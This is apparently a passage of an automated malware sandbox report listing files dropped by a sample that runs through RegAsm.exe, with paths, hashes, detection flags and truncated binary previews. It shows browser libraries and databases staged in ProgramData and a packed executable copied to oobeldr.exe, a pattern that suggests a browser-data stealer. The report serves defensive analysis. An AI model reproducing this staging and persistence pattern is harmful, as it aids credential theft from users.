Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\DAKFCGIJKJKFHIDHIIIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAAFCAFCBKFHJJJKKFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFHJKJJJECGDHJJDHDAAAFBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDBAFIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJEGCBGIDGHIDHDGCBFCGDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDAECAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ePfP5eGC0b.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: XpCyBwDzEt.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\ProgramData\CAKKJKKECF.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
